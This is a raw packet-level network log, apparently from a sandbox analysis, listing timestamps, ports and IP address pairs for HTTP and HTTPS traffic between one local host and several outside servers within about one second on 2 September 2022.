Sep 2, 2022 14:02:22.781774998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781783104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781805038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781807899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781835079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781840086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781852961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781869888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781871080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781909943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781919956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781928062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781935930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781956911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781974077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781980038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782002926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782006025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782032967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782073975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782140017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782141924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782157898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782197952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782212973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782231092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782248974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782269955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782291889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782320976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782339096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782380104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782504082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782521963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782538891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782546997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782556057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782572031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782579899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782602072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.782614946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.782635927 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.783242941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.788734913 CEST	80	49794	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.788933992 CEST	49794	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.791376114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.799431086 CEST	80	49797	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.800246000 CEST	49797	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.800746918 CEST	49797	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.802710056 CEST	49799	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.803375959 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803718090 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803766012 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803797960 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803823948 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803838968 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803848982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803853035 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803874969 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803879023 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803888083 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803941965 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803946018 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.803949118 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.803957939 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804008007 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804012060 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804014921 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804022074 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804070950 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804075956 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804080009 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804131031 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804167032 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804200888 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804202080 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804204941 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804209948 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804258108 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804290056 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804291010 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804294109 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804300070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804342985 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804347992 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804352045 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804379940 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804413080 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804446936 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804446936 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804450989 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804455996 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804500103 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804500103 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804502964 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804511070 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804564953 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804570913 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804574966 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804610014 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804644108 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804645061 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804647923 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804655075 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804697037 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804701090 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804734945 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804795027 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804824114 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804852962 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804871082 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804877996 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804888010 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804892063 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804908991 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804912090 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.804918051 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804961920 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804992914 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.804999113 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.805005074 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.805012941 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.805046082 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.805049896 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.805053949 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.805095911 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.805130005 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.805177927 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.805185080 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.805191994 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.806735039 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.827809095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.827832937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.827956915 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.828022003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828038931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828056097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828068018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828264952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.828393936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828429937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828444004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828676939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828758001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.828771114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829070091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829088926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829102039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829293966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829305887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829310894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.829322100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.829988956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830066919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830080986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830383062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830419064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830430984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830513954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.830554962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830590010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830598116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.830602884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830631018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.830670118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830707073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.830720901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.831173897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.836107016 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836246967 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836508036 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836602926 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836630106 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836692095 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836714983 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836723089 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836743116 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836791039 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836827040 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836833000 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.836843014 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836846113 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836870909 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.836966038 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837033987 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837040901 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837049007 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837096930 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837101936 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837356091 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837416887 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837457895 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837462902 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837471008 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837476015 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837518930 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837527037 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837542057 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837569952 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837574005 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837593079 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837593079 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837608099 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.837666035 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837670088 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.837738991 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.838010073 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.838016033 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.838023901 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.838067055 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.838079929 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.838083982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.838088036 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.838145018 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.838148117 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.839518070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839541912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839560032 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839576006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839603901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839656115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839667082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839696884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839736938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839750051 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839768887 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839785099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839792967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839803934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839818001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839834929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839843988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839847088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839879036 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839910984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839927912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839945078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839950085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839962006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.839988947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.839993000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840006113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840054989 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840065956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840081930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840099096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840116024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840120077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840140104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840176105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840188026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840204954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840224028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840245962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840265989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840296030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840306044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840312958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840332985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840342999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840353012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840380907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840382099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840410948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840445042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840461969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840471029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840502024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840503931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840518951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840548038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840559006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840583086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840631962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840665102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840696096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840706110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840713024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840743065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840745926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840771914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840784073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840821028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840867996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840897083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840905905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840914011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840936899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840943098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.840960979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840981960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.840990067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841027021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841065884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841067076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841104031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841104031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841140032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841147900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841185093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841185093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841219902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841226101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841263056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841268063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841306925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841342926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841346025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841386080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841469049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841509104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841527939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841562986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841631889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841758013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841828108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841864109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.841867924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841885090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.841921091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842031002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842060089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842077017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842101097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842130899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842192888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842264891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842281103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842303991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842333078 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842348099 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842397928 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842437029 CEST	49768	80	192.168.2.6	62.204.41.123
